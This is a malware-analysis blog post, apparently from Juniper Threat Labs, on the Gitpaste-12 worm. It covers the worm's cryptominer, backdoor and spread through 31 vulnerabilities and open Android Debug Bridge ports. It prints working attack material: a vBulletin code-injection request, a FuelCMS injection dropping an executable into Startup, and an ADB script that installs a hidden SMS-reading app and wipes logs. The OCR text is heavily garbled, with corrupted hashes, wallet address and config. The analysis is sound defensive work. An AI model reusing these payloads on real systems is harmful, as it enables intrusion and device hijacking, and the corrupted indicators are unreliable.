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In November, Juniper Threat Labs documented a new wormable cryptomining_campaign dubbed Gitpaste-12. The initial wave
of Gitpaste-12 attacks was last seen on October 27, when the GitHub repository hosting the bulk of the worm’s payloads was
removed. On November 10, we discovered a new round of attacks:

POST /forums/ajax/render/widget_tabbedcontainer_tab_panel HTTP/1.1
Content-Type: application/x-www-form-urlencoded
User-Agent: Mozilla/5.8 (Windows NT 6.1) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/58.8.3029.118 Safari/537.36 SE 2.X MetasSr 1.8

O

Content-Length: 89
Connection: Keep-Alive
Cache-Control: no-cache

subWidgets[@][template ]=widget_php&subWidgets[@][config][code]=die(@md5(HellovBulletin));

Network traffic from the new attacks
The wave of attacks used payloads from yet another GitHub repository, which contained a Linux cryptominer (“Is”), a list of
passwords for brute-force attempts (“pass”) and a statically linked Python 3.9 interpreter of unknown provenance.
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B sptv001/_

<> Code (1) Issues I Pull requests (*) Actions [M] Projects () Security |~ Insights
F main ~ F 1branch ©) 0tags Go to file
% sptv001 Add files via upload ac73532 3daysago D)3 commits
O Is Add files via upload 7 days ago
D pass Create pass 7 days ago
3 python Add files via upload 3 days ago

GitHub repository hosting malicious files
In addition, two more files were added during the course of this research: a configuration file for a Monero cryptomining
program (“config.json”) and a UPX-packed local privilege escalation exploit for x86_64 Linux systems (“root_x86_64").

The config file uses the Monero address
41gALJpgLhUNCHZTMSMQyf4LQotae9MZnb4u53JzqvHEWYCc2i8PEFUCZ4TGLI9AGU34ihPU8BQGbRzc4FB2nHMsVeMHaYkxus,
the same used in the October attacks.
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https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2019-13272

"background": true,

"log-file": null,

"access-log-file": null,

“"retries": 50,

“retry-pause": 5,

"donate-level": 2,

“"coin": "xmr",

“"custom-diff": 0,

"syslog": false,

"verbose": false,

“"colors": true,

"workers": true,

"pools": [

{
"url": "donate.v2.xmrig.com:5555",
"user":
"41gALIpqLhUNCHZTMSMQyf4LQotae9MZnb4u53]zqvHEWYc2 i8PEFUCZ4TGL9AGU34 1
hPU8QGbRzc4FB2nHMsVeMHaYkxus",
EDaSSE =X

1,
"bind": [
"9.0.0.0:12388"

1,

llapill: {
“panti: B
"access-token": null,
"worker-id": null

s

Cryptominer configuration file
In this blog, we’ll dig deeper into some newly-found samples from the initial attack repository. The first, called X10-unix, is a
UPX-packed binary written in the Go programming language, compiled for x86_64 Linux systems.
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Initial infection

Overview of attack
The sample begins by downloading a selection of payloads from the now-defunct repository:
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The ‘b64’ suffix indicates a file that has been base-64 encoded into an ASCII text file for use as an exploit payload. We can see
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com/cnmnms1-001/-/master/shadul
com/cnmnms1-001/-/master/base64
com/cnmnms1-001/-/master/sudob64
com/cnmnms1-001/-/master/X11-unix
com/cnmnms1-001/-/master/config.json
com/cnmnms1-001/-/master/X10-unixb64
com/cnmnms1-001/-/master/X10-unix.exeb64
com/cnmnms1-001/-/master/X10-unix_mipsb64
com/cnmnms1-001/-/master/X10-unix_armb64
com/cnmnms1-001/-/master/ssb64
com/cnmnms1-001/-/master/ss.exeb64
com/cnmnms1-001/-/master/ss_mipsh64
com/cnmnms1-001/-/master/ss_armb64
com/cnmnms1-001/-/master/hideb64
com/cnmnms1-001/-/master/hide_armb64
com/cnmnms1-001/-/master/mipsld.so

that X10-unix is cross-platform, with versions for MIPS and ARM Linux machines, as well as Windows.

The worm then commences a wide-ranging series of attacks comprising at least 31 known vulnerabilities — seven of which
were also seen in the previous Gitpaste-12 sample — as well as attempts to compromise open Android Debug Bridge

connections and existing malware backdoors. The attacks target web applications, IP cameras, routers and more.
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GET /fuelcms/pages/items/?search_term=&published=&layout=&limit=50&
view_type=list&offset=0&order=asc&col=1ocation+AND+(system+cd
+C%3A%5CProgramData%s5CMicrosoft%s5CWindows%5CStart
+Menu%s5CPrograms%s5CStartUp%s0Aecho
+%22TVqQAAMABAAAAAAAS2F%2FBAATSAAAAAAAAAQAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAA%OAAAAAQAAAAA4TUg4ATANNIbgBTMOhVGhpcyBwemOncmFtIGNhbm5vdCBiZSBydW4gaW4gREITI
G1v%0AZGUUDQOKIAAAAAAAAABQRQAAZIYOAAAAAAAAPMCA%2BhOAAPAAIWILAgGMAACATAADGAWAAAAAA
YL4F%0AAAAQAAAAAEAAAAAAAAAQAAAAAGAABgABAAEAAAAGAAEAAAAAAADQbwAABgAAAAAAAAMAAAAAA
CAA%OAAAAAAAAQAAAAAAAAAAAQAAAAAAAAEAAAAAAAAAAAAAAQAAAAAAAAAAAAAAAABGKATAMAAAAAAA
AA%OAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
A%OAAAAAAAAAAAAAAAAAAAAAAAAATPBMAAGBAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAUAGV4dAAA
%0AAFASJQAAEAAAAC4TAAAGAAAAAAAAAAAAAAAAAABgAABgLNIKYXRhAACWIrSCcAAEATAACUIWAANCUASs
OAAAAAAAAAAAAAAAAAQAAAQCSKYXRhAAAAYBBGAADWTAAA4AMAAOIMAAAAAAAAAAAAAAAAAEAAAMA VSO
ANAAAAAAAABKBAAAAEFMAAATIAAADCUAAAAAAAAAAAAAAAAAAAAABCLZESAAAAAACITAQAACBTAAC2%0A
BAAAXFAAAAAAAAAAAAAAAAAAAAAAQi8ZMgAAAAAARTOBAADgVWAAPAEAAHPVAAAAAAAAAAAAAAAASOAA
AAAAEIVNDYAAAAAAL44AAAAIFKAADOAAAC2VgAAAAAAAAAAAAAAAAAAAABCLZYZAAAAAACKNgAASOAAG
BZAACgAAAABFYAAAAAAAAAAAAAAAAAAAAAQiIBAMAAAAAAALQAAAAAAWGAAAGAAAIBXAAAAAAAASOAAAA
AAAAAAAAAAEIVOTKAAAAAAASQCAAAEFOAAFIIAACSVWAAAAAAAAAAAAAAAAAAAABCLZEXMgAASOAAAD]

iwUAAHB1iAACMBQAASFBAAAAAAAAAAAAAAAAAAAAAQ18XxM]QAAAAADBgBAAAAAAAAY gEAAHB L%0AAAAAA
AAAAAAAAAAAAAAAAFTHAWRKAGFAAI NNAAAAAGKAAANAAAAR7WAAAAAAAAAAAAAAAARAAANA%RAAI NNRhYX

FuelCMS attack
The exploits include:

https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2010-1871

https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2010-3313

https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2014-8361

https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2017-17215

https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2017-17562

https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2018-11511

https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2019-10758

https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2019-11447

https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2019-19509

https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2020-5902

https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2020-8816

https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2020-10987

https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2020-17463

https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2020-17496

https://www.exploit-db.com/exploits/37474

https://www.exploit-db.com/exploits/40500

https://www.exploit-db.com/exploits/45135

5/12


https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2010-1871
https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2010-3313
https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2014-8361
https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2017-17215
https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2017-17562
https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2018-11511
https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2019-10758
https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2019-11447
https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2019-19509
https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2020-5902
https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2020-8816
https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2020-10987
https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2020-17463
https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2020-17496
https://www.exploit-db.com/exploits/37474
https://www.exploit-db.com/exploits/40500
https://www.exploit-db.com/exploits/45135

https://www.exploit-db.com/exploits/45161

https://www.exploit-db.com/exploits/46542

https://www.exploit-db.com/exploits/48225

https://www.exploit-db.com/exploits/48358

https://www.exploit-db.com/exploits/48676

https://www.exploit-db.com/exploits/48734

https://www.exploit-db.com/exploits/48737

https://www.exploit-db.com/exploits/48743
https://www.exploit-db.com/exploits/48751

https://www.exploit-db.com/exploits/48758

https://www.exploit-db.com/exploits/48771

https://www.exploit-db.com/exploits/48775

https://www.exploit-db.com/exploits/48805

https://www.exploit-db.com/exploits/48827

Many of these exploits are new, with public disclosures and proofs of concepts dated as recently as September. While the X10-
unix attacks vary in target operating system and architecture, each tries to do three things:

1. Install Monero cryptomining software.

2. Install the appropriate version of the X10-unix worm.

3. Open a backdoor listening on ports 30004 and 30006 and upload the victim’s IP address to a private Pastebin paste.
api_option=paste&api_user_key=5eb7b970e2b8073544266689a%9ecb6b8&
api_paste_private=2&api_paste_name=%3ANSapi_paste_expire_date=N&
api_paste_format=text&api_dev_key=83552f4cc86ed9c67611laed2652cecebs

api_paste_code:ﬁsBA_A

Victim IP address being uploaded to Pastebin

The backdoor is implemented by a UPX-packed binary “ss”, also written in Go, with variations compiled for Windows and
multiple Linux architectures. This program first determines the hijacked computer’s external IP address from myexternalip.com,
uploads that address as the name of a private Pastebin paste, then starts TCP listeners on ports 30004 and 30006.

In addition to the known vulnerabilities above, X10-unix attempts to connect to Android Debug Bridge connections on port

5555.
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__stream = fopen64("./apkb64","r");
fseek(__stream,,2);

_n = ftell(__stream);

_ptr = malloc(__n + 1);

rewind( stream);

fread(__ptr,1,__n,_ stream);

*x(undefined *)((longlong)_ptr + (ulonglong)_n) = 0;
close((int) stream);

sprintf((char %)0x0,

"su;\nmount -0 remount,rw -t yaffs2 /dev/block/mtdblock3 /system;mkdir
/system/xbin;cd /sdcard;echo \""
1 _ptr,
"\" |base64 -d > ./weixin.apk;pm install -t -i com.tencent.weixin ./weixin.apk;pm
grant com.tencent.weixin android.permission.READ_SMS;pm grant com.tencent.weixin
android.permission.RECEIVE_SMS;pm grant com.tencent.weixin
android.permission.INTERNET;pm grant com.tencent.weixin
android.permission.RECEIVE_BOOT_COMPLETED;am start -n
com.tencent.weixin/com.tencent.weixin.MainActivity;pm hide com.tencent.weixin;am
broadcast -a android.intent.action.BOOT_COMPLETED; rm —rf ./weixin.apk;rm -rf
/data/tmp/*;rm —-rf /data/system/usagestats/x;rm —-rf
/data/system/appusagestates/x;rm —rf /data/system/dropbox/x;rm —rf
/data/tombstones/x;rm -rf /data/anr/x;rm —-rf /dev/log/main;rm -rf
/data/local/log;rm —rf ./apkb64;logcat -b all -c;\n"
)i
ADB infection code
On successful connection, X10-unix runs a script that uploads a native binary (“blu”) and an Android APK (“weixin.apk”), both
base64-encoded. Blu probes the device’s bluetooth hardware and installs the APK. The APK uploads the device’s IP address
to Pastebin as above and then downloads and installs an ARM CPU port of X10-unix. A similar attempt is made to install
payloads on existing reverse-shell backdoors listening on port 1337.

While it’s difficult to ascertain the breadth or effectiveness of this malware campaign, in part because Monero — unlike Bitcoin
— does not have publicly traceable transactions, JTL can confirm over a hundred distinct hosts have been observed
propagating the infection.

234558a0c10077ba5508... @ [HJDownload POF Report
Threat Level Top Indicators Prevalence
File name X10-unix Behawvior Slgnature Utilizes known code obfuscation techniques Global prevalence Low
Category executable (Extension: b... Signature Match Generic Unigue users a
Antivirus Clean Protocols seen N/A
GENERAL BEHAVIOR ANALYSIS NETWORK ACTIVITY BEHAVIOR DETAILS
Status File Information Other Details
Threat Level @ 10 File Name X10-unix sha256 234558a0c10077bas508eeedcBdal40416bc4dos
Global Prevalence Low Category executable (Extension: bin, MIME type: L
Last Seannad Dec 10, 2020 10:42 AM application/x-executable) md5 ec36adb39bf0fff3ab0354c%efdc72eb
i size 8MB
Platform Generic
Malware Name
Type Generic
Strain Generic

Detection by Juniper ATP Cloud

In addition to detection by Juniper Advanced Threat Prevention products, payloads from this attack are detected by the
following IDP signatures: HTTP:MISC:JBOSS-SEAM-EL-RCE, HTTP:CTS:REALTEK-SDK-COMMAND-IN, HTTP:HUAWEI-
CVE-2017-17215-RCE, HTTP:CGI:WEB-SERVER-CGI-RCE, HTTP:CTS:RCONFIG-CMD-INJ, and HTTP:DIR:F5-BIGIP-DIR-
TRAVERSAL.
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URLs starting with:
raw.githubusercontent.com/cnmnmsl-001/-/master/
raw.githubusercontent.com/sptve01/_/master/

From https://github.com/sptve0l/_:

2f7303f98c5803278d4194c645494cc20e2c175330285F2eedcfc0934b4d51fe
e67f78c479857ed8c562e576dcc9a8471c5f1ab4cOObb557b1b9c2d9284b8af9
20791ba9175c07d82c12ddedd2ce4d652ca428dfa63ef94f2710ebc83cdd386b
240f615a74bb3bdd734a2ace®b0127c021cf97d31d57756881e26b0e3dd42aald
571789c76c6b983960172491362867ea2a6724808d61f4c2ffed6a32b4ebcOic

From https://github.com/cnmnmsl-001/-:

5ael5feeea45c2b83abf2b8d9b4a20c21a0b188483b81a3f0a63c24774768249
8aea27d8177f803c1581a3522del17a421060618361a37bdfa9ac361046b5aash
cf3a9fe67387e494b02c8fa375934f92d136b6230fa67a85aa056150f6651e03
667bb7b4d4d5b7ba8c4be5387845f2be6e58el1bfd43el163a1652fd22eded5dfc
0c3d763bb94651f0f1b8ad700e1314e2e0406382802358a0eb7e4fd4eaddec7f5
€199ae0774910d6aef16623924d8c4520edd1e957c97cdd7871eb25cffbedoe9
e3092dd16d91a79e09b9cd9ce0f328a84c4c659d994acdfc02d43f5812832Ffh
f8d537eabe579e45e707371f4baa7ch255d2fed3f933b4841a2e7e3e4d3al30al
eb7c3b74f74d7156bf8092af699c9a7dccle425cdd6e66250d51daabf5e40860
5a1775d6034d580038a99511cla7a85e9d5fc9c742de42¢c15787¢c2e6d1022960
55cah6688208cbh5be6fc01c60880ac759ef7f749a3392aaca765f8e8016a01b0o
8fch33ba6d44bc68686fF67a9b21f69905eb85ab3ce7d94b30095224ee3dfbf8
2b520f45e77f9f7c22683ffab5c46a8331f7b13c5af30c957ebl16e75ddOce471
0797f6455de5f0a9221e47255f405b8123ccd0la51c1d59c1f22ecdo0f53b9768
531abf8b57dfladad18aaa5c9dc8c94533f9d8b7760ad63ac5bf0a7138dcclb4
13¢37624799ffbd26bele9e273b81ddd84dc52abbeche9d52135064ff53ce23f
f02b78b0f89968573360d0d62bebdc53986feee9602a1f9d681e9caa9b548eh4
6dd60a32b8f49a4f06cec98e8d64d677288d982237d6b14dfcf647330d9882¢c8
8e4ba630d78f48de1330ca32bd987cc6d2474b5d9ecca550eal134445e0dd599d
a2bbc59a9fa02bb7c6cf8862333085cfefddee4fc807e959074b74df20af4e0d
cb531f5567f2ebcd131dffc3ca3c53fab7cfacec827a529edladach52c15b0ch
7042531d0a3f2cc8fcd1d9f9c47a617e3e0c497e27f752027be85b7ale80ec8f
899492ch7a51e337d65c7412097e02d91f53ea4353b7d26aa12074f5714ed559
ca52030fd16eb57b505ech53d0dda6e54656755b2e4561ca5867d7340128652fF
45b2e3258f5¢c57dfb078c7ddd130123864ed34cad2183da23d2bd411497e9443
b10df5e72952bbh9ba3fd733585ebf177e3a2e63270e67c846clchd55f7eaa66
e423a7d1f7581e050f25b6ebecdd1d5¢cf3148914236215d7022b030ba44c3b01
c72a731a5c2ddf78a551d08b334d96445c97cc8c2634446el1fdad3824ca0fe64
8666767223504cdfc12b41581bf56fe8989bad1f5dab9d08ade4bf018921b432
8aa4ff26d60464ccd95937e63b7e6423a95625a0b76543df5cd560ac1b27faed
234558a0c10077ba5508eeedc8dal40416bc4d98d7e3aad577c6fadfaza7ed4a
28d4366481416faaa0dac2804fde60e6520650c734c789ca03840cd951alfc62
a04256l1a7eaac77d82f50d6cd9655ddf257def26f51aff9f75a780de22996847
68b690d62b9f4e1b4b7c1918b808c6c9e594e34602e6T9f8380bal61ce46716f
67ee6758c4a672hd0733a7ac87d6c960190d2460ff21f2266da30abb77bc3edb
d433b864222dd58615c8f87cd8dc7421a5a38c2b7dcad4c06811e4e22bb88bfc
la4f1356dad506bfffeafc314a717544049a8a2edd0fb6d46213d2331900dc6e
bc732abfb7ed6a8789f3827611562¢c477f6d2b665bch57777e4dc2b65271da63
2084c586006T9a1f0a696707856T4ed9169e29766cd66d11d6e2c9d4f5aeece8
b59edd38516d66176c221f8a6da86e398bed7cd037f7337a6317f94c5b514ffe
cd58bf91cbe6e865594fb5ccc66dbfc5e6a04fdf5ed5253eeb50d39d0444743fF
5affocd4d2d9lecccbcd2eadb4236c33982845d942721¢c7d5e337b61739530c1
8d0ebffcd312d845950503hc3e44f62ff3863de864101872e07a7b748be5f52h
bded8591ef66f6d2d225646fc4eb6albd3871fad14026890fba20cfeece814fe
b7¢c32fc1190e932c096c953bf656a85ele258ad38a6caec85fF3e38c18d76827
4d4d86e8407397ef9fe834d9df1f6b374735€11312f980dcOb3d09bab110f1b5
8364a6eclab9fd8ca7dfcd44ealef341f610bd979acd827abd7f78f6f96c76c3
afe9c9hda5ea920a5f960f13578ac6f02a1310e1dcOc47e23c866309727793d4
73a070f8cdfccc173bc44c3f831197dae4193815d408c938b29f2f718a681b57
e0b9ce6949da90b26cf9cclf28abl1aa928a11668600f3c8de3604dac36b9e59f
851408d4c2635f20455395193de2d6114e872986c466f16ad9af0c00446el19ce
6fe2b86ebd35aa63de89d2db5726b293c06Tb49ee4de8263db9a4d3elf75e5d7
11089aeeb0c517e61fabaa681c81a5b88f8c950897a71631f2c8e9c975¢c83314
091cfffb203d580d77a83b5415b46cc16cf7c898a243f8d4e02469222d3f928a
b2feb5887d3f13c2c00b16dd4dc40fb6d9d9cadlif2ac7f110c35919ca5b3f1f6
25d6362d8be959afl1a5eef950e9794h757e25e301ee3716286933fel16a24f664
2cdc60d7270acc20783ch8ed32e94b72460d46cbbd8dce655019f32dc27¢c489f
fc845b55d74ac2ch46c338e67974ed76b3ed7a3dd4321849¢c397eb114dadl6e7
10fcbhf1f146963f055953c2c8f56e0f190b3a245eb06576e1a545851b1840d51
28030624ad9872¢c54296b61671307bd4ac42cec419298c1c6e957cd603af4c24
27c7216ef2b7dd2e3ecfb04fc585ef09deecd669b64a5fef969bf7dfa7766e64
6d3ab23139e87bf40ccdc67¢c88bb9b9f6b580d83c6b5a739¢c310588Fd3b8296

config.json
1s

pass

python
root_x86_64

X10-unix.exe
X10-unix.exe
X10-unix.exe
X10-unix.exe
X10-unix.exe
X10-unix.exe
X10-unix.exe
X10-unix.exe
X10-unix.exe
X10-unix.exe
X10-unix.exe
X10-unix.exe
X10-unix.exe
X10-unix.exe
X10-unix.exe
X10-unix.exe
X10-unix.exe
X10-unix.exe
X10-unix.exe
X10-unix.exe
X10-unix.exe
X10-unix.exe
X10-unix.exe
X10-unix.exe
X10-unix.exeb64
X10-unix.exeb64
X10-unix.exeb64
X10-unix.exeb64
X10-unix.exeb64
X10-unix.exeb64
X10-unix
X10-unix
X10-unix
X10-unix
X10-unix
X10-unix
X10-unix
X10-unix
X10-unix
X10-unix
X10-unix
X10-unix
X10-unix
X10-unix
X10-unix
X10-unix
X10-unix
X10-unix
X10-unix
X10-unix
X10-unix
X10-unix
X10-unix
X10-unix
X10-unix
X10-unix
X10-unix
X10-unix
X10-unix
X10-unix
X10-unix
X10-unix
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bf3685c5d2cc6b34f12a6c692b2d782a9dc76c12438913e3efc78a2942a375¢c3€2833b44b6329444a4db9b8012f9a41e8f7b927c1b5ba2a2bl
fbf1d8b7fat0ceba9739b0e61462e7c57df8b92eael119dac254624669c0f3637
081dbb86308710118c750e53e22c1c72353ddef7590fe0@363ac1f747c11c57ch
2b78f238eda8aeh09e8730c3b9d6ef6467cfOaf2479b8afd18c59ee64f5b91d4
e092ece35bc7047b7870959f0d36b0b2b6acdf104dd03993664140814fabc318
dibdedab5ea82227ab75a0ac8d0963f88de7325e04c0214eaf9alf2alaa7517¢c
7513a2f7de046843d2702df6c5cc047¢c4956¢c795430c7a8achfad9123159d59d
9a412594875a7e637b70d5¢c382355413e6a6f3cbb94cdfc8al3efd8611c34a92
004e124c1fc7431427663c150T4864339ac1b06518f0331fae590fc518bca7e8
a4e2891bc9b9h380f227dfee982ad7bc452058b8dcdbbb44647c6f9db12a82d9
d112d54e3ea7361ce6b40cdel355e46aectbe81079f18b87e0783fb5c6fa59¢c6
0bd537dc834d14d22414a6f5ea3e48d4ed431ae7a7b23c7c3cdb3c2589cfaa7c
ec7f2c3ba7d986a728c0ff1051988050321b15c033d8a9d45197¢c735fc9057¢c6
d8133fcd0f90d493229dde473ch80ee2160b54b559be7ef89741aa951d36a6bf
07da126c8c98eb021316e2a8fc41127eacl5ea2a2aba9ffec1f84fd45609d127
992780ddbd33b27d1a2dd78fe5a8d3606d9e620804cf9b9739b6c306d03calsb
69c54bd72c94f2d69fbadacfaacd01fd3b9aab25b60ec649c3096T85718786bf
54e55f8016dcfbdledb1523af5ed9ddba6ce30601b68f6e60428049777ch220¢C
40454c5615e526b0fafbhd07452a0b8f3a23921991b83ad07145dd026f265hfae
67412326b8083fa9d4182876bcf439424b155e500aabf44a86719affb3d382f4
30b7c360b3a41510fd3f08b01c6dbTf83f069d894451e8d786881Ffd74e5439338
8430672fe24ec524073b41bfedb3e36505129ah82alcd091ac7667f7d15a4272
5fda7d7bb45f4c5afe53e8a84aead95a10chc56943b226€41186e2c0606cf234b
8b2663e4af97e3f6403c0e71fc234f0e217clcledede8fc05edc3711873c4fdb
cd93ae333d30a757190e8fe9473717cfdaaa5eac8593a89652fa7d8ee684862e
€9010e08624d5cceaf348433ab3d918d6c9ef8702e7bd1c6e408be6e290adbh23
b6ab98b696699b4e37158€4187f91081b3b8e2c86c337486db060bO37d610346
dee7bf24b4e05f558c282e52b7ef26d1d2910f434df9644f4ee638aa070d2dfa
40b0d92412defa2a34e15915477c83e3108aa9d8610ddf425a5a4c7d3413e4f1
74646b5fc17114b43a88fdac15747ec9f771fd74f934715dbdcf6c36c46edc54
203b1436feff439e52b314147ba329cbh70fffdd501b73854829617310465639b
d552e9a091703694bda79109366bdadfc4dc2088b80631fOdOb8c557d59d884a
4e5137804773228b7715b5c01401a9f1545ad0130f8e1dcb7eb8751d076€0148€42690c56c47e1765
00f55a233c70d6eacffd876e10b52862b3e051d213b1139858269d463d51195¢C
1c90f090f22eb2¢c17196074b8f061a589bfda8d7ad6e1221f872d35ad8ebf312
a189f5e731b17ab1bea9874c7414c570f5bc07¢c916ale8h27a022359777a6fc4
01f8b63db3ebh659a9h82b3dfalal36a5931a2fb6e73019a4350b0ad488c437bb
6d361d46e5d8a05f28d3de8fc93d69db14176Th6fb1086c3al4abbfbh81bofc60
0783ce76ecc775ee9415541bc20e97fa5039e883aldb74b6f66a09ea4116b9cO
5e5e5b1e9dadch846f9919830fe72ac89dababed9fb5893588762adae2469740
52c0b16c608aale®@b23498451adb40e7f7bfafadcaf923b16f6820ch222eel1fd
a31f42b0df12c656d72269009e7aba45c7231c998f94b3370b09b8c971e441ct
65ea3c35c0e41962002b4bdb70ced04234ce7a5f5de7a9a69e2164ff443d854d
7916019f77df2661229256281172801807889d5fd59d08217b380b9e421cf8bb
2b8f0de62ad2623704330ca795082151499810d0e09ff060d99715bf3ca82c4
1f66T669d91bab880af5ddad04359954c55d39fd797eb014b2dbb54fa4cac539

X10-unix
X10-unix
X10-unix
X10-unix
X10-unix
X10-unix
X10-unix
X10-unix
X10-unix
X10-unix
X10-unix
X10-unix
X10-unix
X10-unix
X10-unix
X10-unix
X10-unix
X10-unix
X10-unix
X10-unix
X10-unix
X10-unix
X10-unix
X10-unix
X10-unix
X10-unix
X10-unix
X10-unix
X10-unix
X10-unix
X10-unix
X10-unix
X10-unix
X10-unix
X10-unix
X10-unix
X10-unix
X10-unix
X10-unix
X10-unix
X10-unix
X10-unix
X10-unix
X10-unix
X10-unix
X10-unix
X10-unix
X10-unix
X10-unix
X10-unix
X10-unix
X10-unix
X10-unix
X10-unix
X10-unix
X10-unix
X10-unix
X10-unix
X10-unix
X10-unix
X10-unix
X10-unix
X10-unix
X10-unix_arm
X10-unix_arm
X10-unix_arm
X10-unix_arm
X10-unix_arm
X10-unix_arm
X10-unix_arm
X10-unix_arm
X10-unix_arm
X10-unix_arm
X10-unix_arm
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1c33346¢f787e18cdd87f7e6728e4911fdf3e52149ea758b547e09266f0e5e3c
7d8092e4e13fef5cae20c35b00ee323cd80fd2d208c17e60cc5399cef118bee3
adf43f8857f8b2811508e8a33a13de38dblac4cd1b9279e908e938¢c40b8a5379
4794b1dd06c131172¢c4192792ed9727cledfeb6dlfcel7eabd0b310f23a010f6
21ed6124eddc5c5a1a5046fc5bec493daa24ec3461f9c0600310d8285753ab41
4bab587a096ach1ca91faf9943357b319f2d3368730c5962bd7f4338d5a0111cd
7643c17fde94bdfa23b2dc8493f50e48b7a146bhdb486e1dc00a84109b9563603
dc8be9a7aa4c905fe27ch07429c20937e8adfabd00e04249a5111a5e1e59d106
86b7aa7eadcbb2cac867b02748ddd6e851d5b8c66ad0e6d2c669577611aa3d38
dee9672e77dafh22dde233087c6bd7c5896c31a006c3b608985937a22cccl1559
a8ac2ff06de499b94a224chbb120f4c0852b97c3fd40b00ae91cc23a98f73a57f
3137252f6f88c703450a9bdee9d30301bb03b053db35d44a59324755ed32915e
71deb7a19cc540c220d21e88dd22e4038a4b00be59c743668fac586b2ee48988
1a67489914f0bf834f77b97e9b45c59614b2a36d16b7251fcc945a7fa733b88c
1e633d58a5ac496be65efbbb6958ff38ee802cf7693c37ad08b8d73d5b44da5h
bbd1500e39998achfObl2eefd46f3e861762a5393982ff933732569h89dfc929
75999d719eae65660e7ebc90850e467e85e50339099¢ea661a6f4ch76ffacee68
de9a225e5a39cddfc416031c325Fffch11a92d2bh8196199524efb4485968dch2a
6544ae7ee86860e6e42ccal757241d9571e266a13c792753384c311423d17de7
1973c5abf0e2e13¢129a307¢c46626015989c75¢c72b514cdbbOc8c9ef3b4b8dbh5
a2e9f74e0b088adc596b8h789f0d06861eabed372d2893h43c84450151fded25
6ael6476c766aceab3bae71e9d743f567b4e69c1f750663c86ab7630ebadfffd
48124ba43a19ce59136h0e574834967820a757a169d9443aa501ec3efb2eb0d4
26a2262df61fdc73756b%aafddb8b192590e89607fb242f67ed6c60c97918e78
48788891c198d06d523c0e623b91f586F456fcc97f15a0eea601de6348b93b6d
09ba334e2ad70f75d64fb4d8fa6d32c2ce890d9bdc844c69bf8db79ch9edb7c3
4d16c41bd7ee36clca7cfb2329d6144b3979d0454b441645d6T726F3994ef325
8ecc24bb91ffdd8a5c3dcal3a5db82832fc763ef05d52cc28f2339efd396alef
f7b0d9f5ael1e443f557763c66b600d15409ae15daa92706aa9416c8f027fdfe2
3b4fb8d0242d0157d875497725a56ch4b250b66c93685d800daffa963c06c33d
d1198183f55526efd5dbe9184b9c41388bda304791361d23d5¢ce739594562533
641d0e9b002e3100bbe9ff8642a0b7e2d45ea812df3756b5ed7e58cae56a2ead
bb7ae300c18c8382c017caa369bd2de1918a760b38254e29edf5988d709f98aa
26e90c4e246aeb51cedlc5ch7d7ba970407bbad5162d705fc36ecald57d439f51
2ac9114c9306d25a01ae7d2ad70abce3fe394c1cd96308¢c93f163f6611c80756
118d80ee95679e321d84d22d37a1d28bbb1a72883926d7e97d0cabd341286d5d
327e7dd5e4d407de9e10b1062ac50902a8639f55fb30dcedf74742790a76895e
d5b2c1a2c2608e5a7b0fbldcd2e474eafcbh9ddc42a4aa2c79c825348be8f5013
8b9afc82f67ad6277e8ec01df85871dfdad0008895b826d938644af6e063da82
b73c0al4dc5bObafeldac5884afc608578fe6bb658e5b965ec1de9d774a0a3ae2
8e07e385876289d39ea162d87f0d1dbfb9700e681377002d42392ce525d7d719
la5eec63131f10a2848a6b6a47f06839c1df5015322a4e1671f8557a31c68683
d6e311e6fdb4b3287ch82f205a4781dda6d949e9b5ce68bd4a63137574019d2d
7e05001b892042h1laee7f475122ch8b1df468dh92f1a065ef47a29cf4ab9e9c3
1025920629dbda4675ded73ebabe480e7d26277f25cdea9d7590ea0818ed47ab
856689h018e80438b26c9562e74bf66fe993ef1c07f3d5bb66315687b66bT04a
f90848ded182ed22f5f600b21ac2clab5ede3773f975896a34865496edd5164b
07a5ae51a3dbf3beb9c890622ab76b64€9176141871eeaea9893e2e987d4b58a
860159e0ccf546cc07df344c0d97d5852e41910db5d9c7abh881071bhd578ab830
dbal1172e8961dbee57777bf3c9de63bd3346c49c285b14a89340ddh2240284e0
437c821528a77bdalf6d31553cc6a90e4dbf280c8b2d497f6d0f50e107badf6a
02630d8c8hb1844efd1d5033af81187a9674155ceaa5bfobf39a0667a6231039a
3fa06187c266351e548d1fd9el1b270ae943cc4417e947657bf1lebeddbOc80800
90096e7775ccf7cladbOef5fff4e36c0lelf7eab5dce8017e5de4634df21e2fb
640287f743a859640b62fac73ef191f958849bhf69a49ae95777b62853659c56
a7518336e€94e8f6c3000168f7eb2f5204fed8750a58334447¢c214179bd4ceabd
